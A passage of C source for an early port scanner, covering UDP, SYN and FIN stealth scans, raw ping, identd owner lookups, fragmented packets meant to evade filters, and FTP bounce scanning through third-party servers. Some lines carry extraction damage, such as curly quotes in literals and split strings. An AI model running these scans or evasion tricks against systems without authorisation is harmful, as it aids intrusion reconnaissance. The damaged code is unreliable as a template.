                  printf("Adding port %d after 3 EAGAIN errors.\n", portno[i]);
                  addport(ports, portno[i], IPPROTO_UDP, NULL);
                }
                else if (debugging)
                  printf("Skipping possible false positive, port %d\n",
                         portno[i]);
                trynum[i] = portno[i] = 0;
                close(sockets[i]);
              }
            }
          else if (errno == ECONNREFUSED /*111*/) {
            if (debugging > 1)
              printf("Closing socket for port %d, ECONNREFUSED received.\n",
                     portno[i]);
            trynum[i] = portno[i] = 0;
            close(sockets[i]);
          }
          else {
            printf("Curious recvfrom error (%d) on port %hi: ",
                   errno, portno[i]);
            perror("");
            trynum[i] = portno[i] = 0;
            close(sockets[i]);
          }
        }
      else /*bytes is positive*/ {
        if (debugging || verbose)
          printf("Adding UDP port %d due to positive read!\n", portno[i]);
        addport(ports,portno[i], IPPROTO_UDP, NULL);
        trynum[i] = portno[i] = 0;
        close(sockets[i]);
      }
    }
  }
  /* Update last_open, we need to create new sockets.*/
  for(i=0, k=0; i < last_open; i++)
    if (portno[i]) {
      close(sockets[i]);
      sockets[k] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
      /*      unblock_socket(sockets[k]);*/
      portno[k] = portno[i];
      trynum[k] = trynum[i];
      k++;
    }
 last_open = k;
  for(i=k; i < max_parallel_sockets; i++)
    trynum[i] = sockets[i] = portno[i] = 0;
}
if (debugging)
  printf("UDP scanned %d ports in %ld seconds with %d parallel sockets\n",
         number_of_ports, time(NULL) - starttime, max_parallel_sockets);
return *ports;
}

/* This attempts to calculate the round trip time (rtt) to a host by timing a
   connect() to a port which isn't listening.  A better approach is to time a
   ping (since it is more likely to get through firewalls.  This is now
   implemented in isup() for users who are root.  */
unsigned long calculate_sleep(struct in_addr target) {
struct timeval begin, end;
int sd;
struct sockaddr_in sock;
int res;

if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  {perror("Socket troubles"); exit(1);}

sock.sin_family = AF_INET;
sock.sin_addr.s_addr = target.s_addr;
sock.sin_port = htons(MAGIC_PORT);

gettimeofday(&begin, NULL);
if ((res = connect(sd, (struct sockaddr *) &sock,
                   sizeof(struct sockaddr_in))) != -1)
  printf("You might want to change MAGIC_PORT in the include file, it seems to be listeni
ng on the target host!\n");
close(sd);
gettimeofday(&end, NULL);
if (end.tv_sec - begin.tv_sec > 5 ) /*uh-oh!*/
  return 0;
return (end.tv_sec - begin.tv_sec) * 1000000 + (end.tv_usec - begin.tv_usec);
}

/* Checks whether the identd port (113) is open on the target machine.  No
   sense wasting time trying it for each good port if it is down! */
```

```
int check_ident_port(struct in_addr target) {
int sd;
struct sockaddr_in sock;
int res;

if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  {perror("Socket troubles"); exit(1);}

sock.sin_family = AF_INET;
sock.sin_addr.s_addr = target.s_addr;
sock.sin_port = htons(113); /*should use getservbyname(3), yeah, yeah */
res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));
close(sd);
if (res < 0 ) {
  if (debugging || verbose) printf("identd port not active\n");
  return 0;
}
if (debugging || verbose) printf("identd port is active\n");
return 1;
}

int getidentinfoz(struct in_addr target, int localport, int remoteport,
                  char *owner) {
int sd;
struct sockaddr_in sock;
int res;
char request[15];
char response[1024];
char *p,*q;
char  *os;

owner[0] = '\0';
if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  {perror("Socket troubles"); exit(1);}

sock.sin_family = AF_INET;
sock.sin_addr.s_addr = target.s_addr;
sock.sin_port = htons(113);
usleep(50000);   /* If we aren't careful, we really MIGHT take out inetd,
                    some are very fragile */
res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));

if (res < 0 ) {
  if (debugging || verbose)
    printf("identd port not active now for some reason ... hope we didn't break it!\n");
  close(sd);
  return 0;
}
sprintf(request,"%hi,%hi\r\n", remoteport, localport);
if (debugging > 1) printf("Connected to identd, sending request: %s", request);
if (write(sd, request, strlen(request) + 1) == -1) {
  perror("identd write");
  close(sd);
  return 0;
}
else if ((res = read(sd, response, 1024)) == -1) {
  perror("reading from identd");
  close(sd);
  return 0;
}
else {
  close(sd);
  if (debugging > 1) printf("Read %d bytes from identd: %s\n", res, response);
  if ((p = strchr(response, ':'))) {
    p++;
    if ((q = strtok(p, " :"))) {
      if (!strcasecmp( q, "error")) {
        if (debugging || verbose) printf("ERROR returned from identd\n");
        return 0;
      }
      if ((os = strtok(NULL, " :"))) {
        if ((p = strtok(NULL, " :"))) {
          if ((q = strchr(p, '\r'))) *q = '\0';
          if ((q = strchr(p, '\n'))) *q = '\0';
          strncpy(owner, p, 512);
          owner[512] = '\0';
        }
      }
    }
  }
}
return 1;
}

/* A relatively fast (or at least short ;) ping function.  Doesn't require a
   seperate checksum function */
int isup(struct in_addr target) {
  int res, retries = 3;
  struct sockaddr_in sock;
  /*type(8bit)=8, code(8)=0 (echo REQUEST), checksum(16)=34190, id(16)=31337 */
#ifdef __LITTLE_ENDIAN_BITFIELD
  unsigned char ping[64] = { 0x8, 0x0, 0x8e, 0x85, 0x69, 0x7A };
#else
  unsigned char ping[64] = { 0x8, 0x0, 0x85, 0x8e, 0x7A, 0x69 };
#endif
  int sd;
  struct timeval tv;
  struct timeval start, end;
 fd_set fd_read;
  struct {
    struct iphdr ip;
    unsigned char type;
    unsigned char code;
    unsigned short checksum;
    unsigned short identifier;
    char crap[16536];
  }  response;

sd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

bzero((char *)&sock,sizeof(struct sockaddr_in));
sock.sin_family=AF_INET;
sock.sin_addr = target;
if (debugging > 1) printf(" Sending 3 64 byte raw pings to host.\n");
gettimeofday(&start, NULL);
while(--retries) {
  if ((res = sendto(sd,(char *) ping,64,0,(struct sockaddr *)&sock,
                    sizeof(struct sockaddr))) != 64) {
    fprintf(stderr, "sendto in isup returned %d! skipping host.\n", res);
    return 0;
  }
  FD_ZERO(&fd_read);
  FD_SET(sd, &fd_read);
  tv.tv_sec = 0;
  tv.tv_usec = 1e6 * (PING_TIMEOUT / 3.0);
  while(1) {
    if ((res = select(sd + 1, &fd_read, NULL, NULL, &tv)) != 1)
      break;
    else {
      read(sd,&response,sizeof(response));
      if  (response.ip.saddr == target.s_addr &&  !response.type
           && !response.code   && response.identifier == 31337) {
        gettimeofday(&end, NULL);
        global_rtt = (end.tv_sec - start.tv_sec) * 1e6 + end.tv_usec - start.tv_usec;
        ouraddr.s_addr = response.ip.daddr;
        close(sd);
        return 1;
      }
    }
  }
```

```
}
close(sd);
return 0;
}


portlist syn_scan(struct in_addr target, unsigned short *portarray,
                  struct in_addr *source, int fragment, portlist *ports) {
int i=0, j=0, received, bytes, starttime;
struct sockaddr_in from;
int fromsize = sizeof(struct sockaddr_in);
int sockets[max_parallel_sockets];
struct timeval tv;
char packet[65535];
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
fd_set fd_read, fd_write;
int res;
struct hostent *myhostent;
char myname[MAXHOSTNAMELEN + 1];
int source_malloc = 0;

FD_ZERO(&fd_read);
FD_ZERO(&fd_write);

tv.tv_sec = 7;
tv.tv_usec = 0;

if ((received = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0 )
  perror("socket trobles in syn_scan");
unblock_socket(received);
FD_SET(received, &fd_read);

/* First we take what is given to us as source.  If that isn’t valid, we take
   what should have swiped from the echo reply in our ping function.  If THAT
   doesn’t work either, we try to determine our address with gethostname and
   gethostbyname.  Whew! */
if (!source) {
  if (ouraddr.s_addr) {
    source = &ouraddr;
  }
  else {
  source = safe_malloc(sizeof(struct in_addr));
  source_malloc = 1;
  if (gethostname(myname, MAXHOSTNAMELEN) ||
      !(myhostent = gethostbyname(myname)))
    fatal("Your system is fucked up.\n");
  memcpy(source, myhostent->h_addr_list[0], sizeof(struct in_addr));
  }
  if (debugging)
    printf("We skillfully deduced that your address is %s\n",
           inet_ntoa(*source));
}

starttime = time(NULL);

do {
  for(i=0; i < max_parallel_sockets && portarray[j]; i++) {
    if ((sockets[i] = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
      perror("socket trobles in syn_scan");
    else {
      if (fragment)
        send_small_fragz(sockets[i], source, &target, MAGIC_PORT,
                         portarray[j++], TH_SYN);
      else send_tcp_raw(sockets[i], source , &target, MAGIC_PORT,
                        portarray[j++],0,0,TH_SYN,0,0,0);
      usleep(10000);
    }
  }
  if ((res = select(received + 1, &fd_read, NULL, NULL, &tv)) < 0)
```

```
    perror("select problems in syn_scan");
  else if (res > 0) {
    while  ((bytes = recvfrom(received, packet, 65535, 0,
                              (struct sockaddr *)&from, &fromsize)) > 0 ) {
      if (ip->saddr == target.s_addr) {
        if (tcp->th_flags & TH_RST) {
          if (debugging > 1) printf("Nothing open on port %d\n",
                                    ntohs(tcp->th_sport));
        }
        else /*if (tcp->th_flags & TH_SYN && tcp->th_flags & TH_ACK)*/ {
          if (debugging || verbose) {
            printf("Possible catch on port %d!  Here it is:\n",
                   ntohs(tcp->th_sport));
            readtcppacket(packet,1);
          }
          addport(ports, ntohs(tcp->th_sport), IPPROTO_TCP, NULL);
        }
      }
    }
  }
  for(i=0; i < max_parallel_sockets && portarray[j]; i++) close(sockets[i]);

} while (portarray[j]);
if (debugging || verbose)
  printf("The TCP SYN scan took %ld seconds to scan %d ports.\n",
         time(NULL) - starttime, number_of_ports);
if (source_malloc) free(source);  /* Gotta save those 4 bytes! ;) */
close(received);
return *ports;
}


int send_tcp_raw( int sd, struct in_addr *source,
                  struct in_addr *victim, unsigned short sport,
                  unsigned short dport, unsigned long seq,
                  unsigned long ack, unsigned char flags,
                  unsigned short window, char *data,
                  unsigned short datalen)
{

struct pseudo_header {
  /*for computing TCP checksum, see TCP/IP Illustrated p. 145 */
  unsigned long s_addr;
  unsigned long d_addr;
  char zer0;
  unsigned char protocol;
  unsigned short length;
};
char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen];
 /*With these placement we get data and some field alignment so we aren't
   wasting too much in computing the checksum */
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
struct pseudo_header *pseudo =  (struct pseudo_header *) (packet + sizeof(struct iphdr) -
 sizeof(struct pseudo_header));
int res;
struct sockaddr_in sock;
char myname[MAXHOSTNAMELEN + 1];
struct hostent *myhostent;
int source_malloced = 0;

/* check that required fields are there and not too silly */
if ( !victim || !sport || !dport || sd < 0) {
  fprintf(stderr, "send_tcp_raw: One or more of your parameters suck!\n");
  return -1;
}

/* if they didn't give a source address, fill in our first address */
if (!source) {
  source_malloced = 1;
  source = safe_malloc(sizeof(struct in_addr));
  if (gethostname(myname, MAXHOSTNAMELEN) ||
      !(myhostent = gethostbyname(myname)))
    fatal("Your system is fucked up.\n");
  memcpy(source, myhostent->h_addr_list[0], sizeof(struct in_addr));
  if (debugging > 1)
    printf("We skillfully deduced that your address is %s\n",
           inet_ntoa(*source));
}


/*do we even have to fill out this damn thing?  This is a raw packet,
  after all */
sock.sin_family = AF_INET;
sock.sin_port = htons(dport);
sock.sin_addr.s_addr = victim->s_addr;

bzero(packet, sizeof(struct iphdr) + sizeof(struct tcphdr));

pseudo->s_addr = source->s_addr;
pseudo->d_addr = victim->s_addr;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr) + datalen);

tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
if (seq)
  tcp->th_seq = htonl(seq);
else tcp->th_seq = rand() + rand();

if (flags & TH_ACK && ack)
  tcp->th_ack = htonl(seq);
else if (flags & TH_ACK)
  tcp->th_ack = rand() + rand();

tcp->th_off = 5 /*words*/;
tcp->th_flags = flags;

if (window)
  tcp->th_win = window;
else tcp->th_win = htons(2048); /* Who cares */

tcp->th_sum = in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr) +
                       sizeof(struct pseudo_header) + datalen);

/* Now for the ip header */
bzero(packet, sizeof(struct iphdr));
ip->version = 4;
ip->ihl = 5;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen);
ip->id = rand();
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = source->s_addr;
ip->daddr = victim->s_addr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

if (debugging > 1) {
printf("Raw TCP packet creation completed!  Here it is:\n");
readtcppacket(packet,ntohs(ip->tot_len));
}
if (debugging > 1)
  printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",
         sd, ntohs(ip->tot_len), inet_ntoa(*victim),
         sizeof(struct sockaddr_in));
if ((res = sendto(sd, packet, ntohs(ip->tot_len), 0,
                  (struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
  {
    perror("sendto in send_tcp_raw");
    if (source_malloced) free(source);
    return -1;
  }
if (debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);

if (source_malloced) free(source);
return res;
}

/* A simple program I wrote to help in debugging, shows the important fields
   of a TCP packet*/
int readtcppacket(char *packet, int readdata) {
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
char *data = packet +  sizeof(struct iphdr) + sizeof(struct tcphdr);
int tot_len;
struct in_addr bullshit, bullshit2;
char sourcehost[16];
int i;

if (!packet) {
  fprintf(stderr, "readtcppacket: packet is NULL!\n");
  return -1;
    }
bullshit.s_addr = ip->saddr; bullshit2.s_addr = ip->daddr;
tot_len = ntohs(ip->tot_len);
strncpy(sourcehost, inet_ntoa(bullshit), 16);
i =  4 * (ntohs(ip->ihl) + ntohs(tcp->th_off));
if (ip->protocol == IPPROTO_TCP)
  if (ip->frag_off) printf("Packet is fragmented, offset field: %u",
                           ip->frag_off);
  else {
    printf("TCP packet: %s:%d -> %s:%d (total: %d bytes)\n", sourcehost,
           ntohs(tcp->th_sport), inet_ntoa(bullshit2),
           ntohs(tcp->th_dport), tot_len);
    printf("Flags: ");
    if (!tcp->th_flags) printf("(none)");
    if (tcp->th_flags & TH_RST) printf("RST ");
    if (tcp->th_flags & TH_SYN) printf("SYN ");
    if (tcp->th_flags & TH_ACK) printf("ACK ");
    if (tcp->th_flags & TH_PUSH) printf("PSH ");
    if (tcp->th_flags & TH_FIN) printf("FIN ");
    if (tcp->th_flags & TH_URG) printf("URG ");
    printf("\n");
    printf("ttl: %hi ", ip->ttl);
    if (tcp->th_flags & (TH_SYN | TH_ACK)) printf("Seq: %lu\tAck: %lu\n",
                                                  tcp->th_seq, tcp->th_ack);
    else if (tcp->th_flags & TH_SYN) printf("Seq: %lu\n", ntohl(tcp->th_seq));
    else if (tcp->th_flags & TH_ACK) printf("Ack: %lu\n", ntohl(tcp->th_ack));
  }
if (readdata && i < tot_len) {
printf("Data portion:\n");
while(i < tot_len)  printf("%2X%c", data[i], (++i%16)? ’ ’ : ’\n’);
printf("\n");
}
return 0;
}

/* We don’t exactly need real crypto here (thank god!)\n"*/
int shortfry(unsigned short *ports) {
int num;
unsigned short tmp;
int i;

for(i=0; i < number_of_ports; i++) {
  num = rand() % (number_of_ports);
  tmp = ports[i];
  ports[i] = ports[num];
  ports[num] = tmp;
}
return 1;
```

```
}


/* Much of this is swiped from my send_tcp_raw function above, which
   doesn't support fragmentation */
int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim,
                     int sport, int dport, int flags) {

struct pseudo_header {
/*for computing TCP checksum, see TCP/IP Illustrated p. 145 */
  unsigned long s_addr;
  unsigned long d_addr;
  char zer0;
  unsigned char protocol;
  unsigned short length;
};
/*In this placement we get data and some field alignment so we aren't wasting
  too much to compute the TCP checksum.*/
char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + 100];
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
struct pseudo_header *pseudo = (struct pseudo_header *) (packet + sizeof(struct iphdr) -
sizeof(struct pseudo_header));
char *frag2 = packet + sizeof(struct iphdr) + 16;
struct iphdr *ip2 = (struct iphdr *) (frag2 - sizeof(struct iphdr));
int res;
struct sockaddr_in sock;
int id;

/*Why do we have to fill out this damn thing? This is a raw packet, after all */
sock.sin_family = AF_INET;
sock.sin_port = htons(dport);
sock.sin_addr.s_addr = victim->s_addr;

bzero(packet, sizeof(struct iphdr) + sizeof(struct tcphdr));

pseudo->s_addr = source->s_addr;
pseudo->d_addr = victim->s_addr;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));

tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = rand() + rand();

tcp->th_off = 5 /*words*/;
tcp->th_flags = flags;

tcp->th_win = htons(2048); /* Who cares */

tcp->th_sum = in_cksum((unsigned short *)pseudo,
                       sizeof(struct tcphdr) + sizeof(struct pseudo_header));

/* Now for the ip header of frag1 */
bzero(packet, sizeof(struct iphdr));
ip->version = 4;
ip->ihl = 5;
/*RFC 791 allows 8 octet frags, but I get "operation not permitted" (EPERM)
  when I try that.  */
ip->tot_len = htons(sizeof(struct iphdr) + 16);
id = ip->id = rand();
ip->frag_off = htons(MORE_FRAGMENTS);
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = source->s_addr;
ip->daddr = victim->s_addr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

if (debugging > 1) {
  printf("Raw TCP packet fragment #1 creation completed!  Here it is:\n");
  hdump(packet,20);
}
if (debugging > 1)
  printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",
         sd, ntohs(ip->tot_len), inet_ntoa(*victim),
         sizeof(struct sockaddr_in));
if ((res = sendto(sd, packet, ntohs(ip->tot_len), 0,
                  (struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
  {
    perror("sendto in send_syn_fragz");
    return -1;
  }
if (debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);

/* Create the second fragment */
bzero(ip2, sizeof(struct iphdr));
ip2->version = 4;
ip2->ihl = 5;
ip2->tot_len = htons(sizeof(struct iphdr) + 4); /* the rest of our TCP packet */
ip2->id = id;
ip2->frag_off = htons(2);
ip2->ttl = 255;
ip2->protocol = IPPROTO_TCP;
ip2->saddr = source->s_addr;
ip2->daddr = victim->s_addr;
ip2->check = in_cksum((unsigned short *)ip2, sizeof(struct iphdr));
if (debugging > 1) {
  printf("Raw TCP packet fragment creation completed!  Here it is:\n");
  hdump(packet,20);
}
if (debugging > 1)
  printf("\nTrying sendto(%d , ip2, %d, 0 , %s , %d)\n", sd,
         ntohs(ip2->tot_len), inet_ntoa(*victim), sizeof(struct sockaddr_in));
if ((res = sendto(sd, ip2, ntohs(ip2->tot_len), 0,
                  (struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
  {
    perror("sendto in send_tcp_raw");
    return -1;
  }
return 1;
}

/* Hex dump */
void hdump(unsigned char *packet, int len) {
unsigned int i=0, j=0;

printf("Here it is:\n");

for(i=0; i < len; i++){
  j = (unsigned) (packet[i]);
  printf("%-2X ", j);
  if (!((i+1)%16))
    printf("\n");
  else if (!((i+1)%4))
    printf("  ");
}
printf("\n");
}


portlist fin_scan(struct in_addr target, unsigned short *portarray,
                  struct in_addr *source, int fragment, portlist *ports) {

int rawsd, tcpsd;
int done = 0, badport, starttime, someleft, i, j=0, retries=2;
int source_malloc = 0;
int waiting_period = retries, sockaddr_in_size = sizeof(struct sockaddr_in);
int bytes, dupesinarow = 0;
unsigned long timeout;
struct hostent *myhostent;
```

```
char response[65535], myname[513];
struct iphdr *ip = (struct iphdr *) response;
struct tcphdr *tcp;
unsigned short portno[max_parallel_sockets], trynum[max_parallel_sockets];
struct sockaddr_in stranger;


timeout = (global_delay)? global_delay : (global_rtt)? (1.2 * global_rtt) + 10000 : 1e5;
bzero(&stranger, sockaddr_in_size);
bzero(portno, max_parallel_sockets * sizeof(unsigned short));
bzero(trynum, max_parallel_sockets * sizeof(unsigned short));
starttime = time(NULL);


if (debugging || verbose)
  printf("Initiating FIN stealth scan against %s (%s), sleep delay: %ld useconds\n", curr
ent_name, inet_ntoa(target), timeout);

if (!source) {
  if (ouraddr.s_addr) {
    source = &ouraddr;
  }
  else {
  source = safe_malloc(sizeof(struct in_addr));
  source_malloc = 1;
  if (gethostname(myname, MAXHOSTNAMELEN) ||
      !(myhostent = gethostbyname(myname)))
    fatal("Your system is fucked up.\n");
  memcpy(source, myhostent->h_addr_list[0], sizeof(struct in_addr));
  }
  if (debugging || verbose)
    printf("We skillfully deduced that your address is %s\n",
           inet_ntoa(*source));
}

if ((rawsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
  perror("socket trobles in fin_scan");

if ((tcpsd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0 )
  perror("socket trobles in fin_scan");

unblock_socket(tcpsd);
while(!done) {
  for(i=0; i <  max_parallel_sockets; i++) {
    if (!portno[i] && portarray[j]) {
      portno[i] = portarray[j++];
    }
    if (portno[i]) {
    if (fragment)
      send_small_fragz(rawsd, source, &target, MAGIC_PORT, portno[i], TH_FIN);
    else send_tcp_raw(rawsd, source , &target, MAGIC_PORT,
                      portno[i], 0, 0, TH_FIN, 0, 0, 0);
    usleep(10000); /* *WE* normally do not need this, but the target
                      lamer often does */
    }
  }

  usleep(timeout);
  dupesinarow = 0;
  while ((bytes = recvfrom(tcpsd, response, 65535, 0, (struct sockaddr *)
                           &stranger, &sockaddr_in_size)) > 0)
    if (ip->saddr == target.s_addr) {
      tcp = (struct tcphdr *) (response + 4 * ip->ihl);
      if (tcp->th_flags & TH_RST) {
        badport = ntohs(tcp->th_sport);
        if (debugging > 1) printf("Nothing open on port %d\n", badport);
        /* delete the port from active scanning */
        for(i=0; i < max_parallel_sockets; i++)
          if (portno[i] == badport) {
            if (debugging && trynum[i] > 0)
```

```
              printf("Bad port %d caught on fin scan, try number %d\n",
                     badport, trynum[i] + 1);
            trynum[i] = 0;
            portno[i] = 0;
            break;
          }
        if (i == max_parallel_sockets) {
          if (debugging)
            printf("Late packet or dupe, deleting port %d.\n", badport);
          dupesinarow++;
          if (ports) deleteport(ports, badport, IPPROTO_TCP);
        }
      }
      else
        if (debugging > 1) {
          printf("Strange packet from target%d!  Here it is:\n",
                 ntohs(tcp->th_sport));
          if (bytes >= 40) readtcppacket(response,1);
          else hdump(response,bytes);
        }
    }

  /* adjust waiting time if neccessary */
  if (dupesinarow > 6) {
    if (debugging || verbose)
      printf("Slowing down send frequency due to multiple late packets.\n");
    if (timeout < 10 * ((global_delay)? global_delay: global_rtt + 20000)) timeout *= 1.5
;
    else {
      printf("Too many late packets despite send frequency decreases, skipping scan.\n");
      if (source_malloc) free(source);
      return *ports;
    }
  }


  /* Ok, collect good ports (those that we haven't received responses too
     after all our retries */
  someleft = 0;
  for(i=0; i < max_parallel_sockets; i++)
    if (portno[i]) {
      if (++trynum[i] >= retries) {
        if (verbose || debugging)
          printf("Good port %d detected by fin_scan!\n", portno[i]);
        addport(ports, portno[i], IPPROTO_TCP, NULL);
    send_tcp_raw( rawsd, source, &target, MAGIC_PORT, portno[i], 0, 0,
                  TH_FIN, 0, 0, 0);
        portno[i] = trynum[i] = 0;
      }
      else someleft = 1;
    }

  if (!portarray[j] && (!someleft || --waiting_period <= 0)) done++;
}

if (debugging || verbose)
  printf("The TCP stealth FIN scan took %ld seconds to scan %d ports.\n",
         time(NULL) - starttime, number_of_ports);
if (source_malloc) free(source);
close(tcpsd);
close(rawsd);
return *ports;
}

int ftp_anon_connect(struct ftpinfo *ftp) {
int sd;
struct sockaddr_in sock;
int res;
char recvbuf[2048];
char command[512];
```

```
if (verbose || debugging)
  printf("Attempting connection to ftp://%s:%s@%s:%i\n", ftp->user, ftp->pass,
         ftp->server_name, ftp->port);

if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  perror("Couldn't create ftp_anon_connect socket");
  return 0;
}

sock.sin_family = AF_INET;
sock.sin_addr.s_addr = ftp->server.s_addr;
sock.sin_port = htons(ftp->port);
res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));
if (res < 0 ) {
  printf("Your ftp bounce proxy server won't talk to us!\n");
  exit(1);
}
if (verbose || debugging) printf("Connected:");
while ((res = recvtime(sd, recvbuf, 2048,7)) > 0)
  if (debugging || verbose) {
    recvbuf[res] = '\0';
    printf("%s", recvbuf);
  }
if (res < 0) {
  perror("recv problem from ftp bounce server");
  exit(1);
}

snprintf(command, 511, "USER %s\r\n", ftp->user);
send(sd, command, strlen(command), 0);
res = recvtime(sd, recvbuf, 2048,12);
if (res <= 0) {
  perror("recv problem from ftp bounce server");
  exit(1);
}
recvbuf[res] = '\0';
if (debugging) printf("sent username, received: %s", recvbuf);
if (recvbuf[0] == '5') {
  printf("Your ftp bounce server doesn't like the username \"%s\"\n",
         ftp->user);
  exit(1);
}
snprintf(command, 511, "PASS %s\r\n", ftp->pass);
send(sd, command, strlen(command), 0);
res = recvtime(sd, recvbuf, 2048,12);
if (res < 0) {
  perror("recv problem from ftp bounce server\n");
  exit(1);
}
if (!res) printf("Timeout from bounce server ...");
else {
recvbuf[res] = '\0';
if (debugging) printf("sent password, received: %s", recvbuf);
if (recvbuf[0] == '5') {
  fprintf(stderr, "Your ftp bounce server refused login combo (%s/%s)\n",
         ftp->user, ftp->pass);
  exit(1);
}
}
while ((res = recvtime(sd, recvbuf, 2048,2)) > 0)
  if (debugging) {
    recvbuf[res] = '\0';
    printf("%s", recvbuf);
  }
if (res < 0) {
  perror("recv problem from ftp bounce server");
  exit(1);
}
if (verbose) printf("Login credentials accepted by ftp server!\n");
```

```
ftp->sd = sd;
return sd;
}

int recvtime(int sd, char *buf, int len, int seconds) {

int res;
struct timeval timeout = {seconds, 0};
fd_set readfd;

FD_ZERO(&readfd);
FD_SET(sd, &readfd);
res = select(sd + 1, &readfd, NULL, NULL, &timeout);
if (res > 0 ) {
res = recv(sd, buf, len, 0);
if (res >= 0) return res;
perror("recv in recvtime");
return 0;
}
else if (!res) return 0;
perror("select() in recvtime");
return -1;
}

portlist bounce_scan(struct in_addr target, unsigned short *portarray,
                     struct ftpinfo *ftp, portlist *ports) {
int starttime,  res , sd = ftp->sd,  i=0;
char *t = (char *)&target;
int retriesleft = FTP_RETRIES;
char recvbuf[2048];
char targetstr[20];
char command[512];
snprintf(targetstr, 20, "%d,%d,%d,%d,0,", UC(t[0]), UC(t[1]), UC(t[2]), UC(t[3]));
starttime = time(NULL);
if (verbose || debugging)
  printf("Initiating TCP ftp bounce scan against %s (%s)\n",
         current_name,  inet_ntoa(target));
for(i=0; portarray[i]; i++) {
  snprintf(command, 512, "PORT %s%i\r\n", targetstr, portarray[i]);
  if (send(sd, command, strlen(command), 0) < 0 ) {
    perror("send in bounce_scan");
    if (retriesleft) {
      if (verbose || debugging)
        printf("Our ftp proxy server hung up on us!  retrying\n");
      retriesleft--;
      close(sd);
      ftp->sd = ftp_anon_connect(ftp);
      if (ftp->sd < 0) return *ports;
      sd = ftp->sd;
      i--;
    }
    else {
      fprintf(stderr, "Our socket descriptor is dead and we are out of retries. Giving up
.\n");
      close(sd);
      ftp->sd = -1;
      return *ports;
    }
  } else { /* Our send is good */
    res = recvtime(sd, recvbuf, 2048,15);
    if (res <= 0) perror("recv problem from ftp bounce server\n");

    else { /* our recv is good */
      recvbuf[res] = '\0';
      if (debugging) printf("result of port query on port %i: %s",
                            portarray[i],  recvbuf);
      if (recvbuf[0] == '5') {
        if (portarray[i] > 1023) {
        fprintf(stderr, "Your ftp bounce server sucks, it won't let us feed bogus ports!\
n");
        exit(1);
      }
      else {
        fprintf(stderr, "Your ftp bounce server doesn’t allow priviliged ports, skipping
them.\n");
        while(portarray[i] && portarray[i] < 1024) i++;
        if (!portarray[i]) {
          fprintf(stderr, "And you didn’t want to scan any unpriviliged ports.  Giving up
.\n");
          /*      close(sd);
          ftp->sd = -1;
          return *ports;*/
          /* screw this gentle return crap!  This is an emergency! */
          exit(1);
        }
      }
      }
    else  /* Not an error message */
      if (send(sd, "LIST\r\n", 6, 0) > 0 ) {
        res = recvtime(sd, recvbuf, 2048,12);
        if (res <= 0)  perror("recv problem from ftp bounce server\n");
        else {
          recvbuf[res] = ’\0’;
          if (debugging) printf("result of LIST: %s", recvbuf);
          if (!strncmp(recvbuf, "500", 3)) {
            /* fuck, we are not aligned properly */
            if (verbose || debugging)
              printf("misalignment detected ... correcting.\n");
             res = recvtime(sd, recvbuf, 2048,10);
          }
          if (recvbuf[0] == ’1’ || recvbuf[0] == ’2’) {
            if (verbose || debugging) printf("Port number %i appears good.\n",
                                portarray[i]);
            addport(ports, portarray[i], IPPROTO_TCP, NULL);
            if (recvbuf[0] == ’1’) {
            res = recvtime(sd, recvbuf, 2048,5);
            recvbuf[res] = ’\0’;
            if ((res > 0) && debugging) printf("nxt line: %s", recvbuf);
            }
          }
        }
      }
    }
  }
}
if (debugging || verbose)
  printf("Scanned %d ports in %ld seconds via the Bounce scan.\n",
         number_of_ports, time(NULL) - starttime);
return *ports;
}

/* parse a URL stype ftp string of the form user:pass@server:portno */
int parse_bounce(struct ftpinfo *ftp, char *url) {
char *p = url,*q, *s;

if ((q = strrchr(url, ’@’))) /*we have username and/or pass */ {
  *(q++) = ’\0’;
  if ((s = strchr(q, ’:’)))
    { /* has portno */
      *(s++) = ’\0’;
      strncpy(ftp->server_name, q, MAXHOSTNAMELEN);
      ftp->port = atoi(s);
    }
  else  strncpy(ftp->server_name, q, MAXHOSTNAMELEN);

  if ((s = strchr(p, ’:’))) { /* User AND pass given */
    *(s++) = ’\0’;
    strncpy(ftp->user, p, 63);
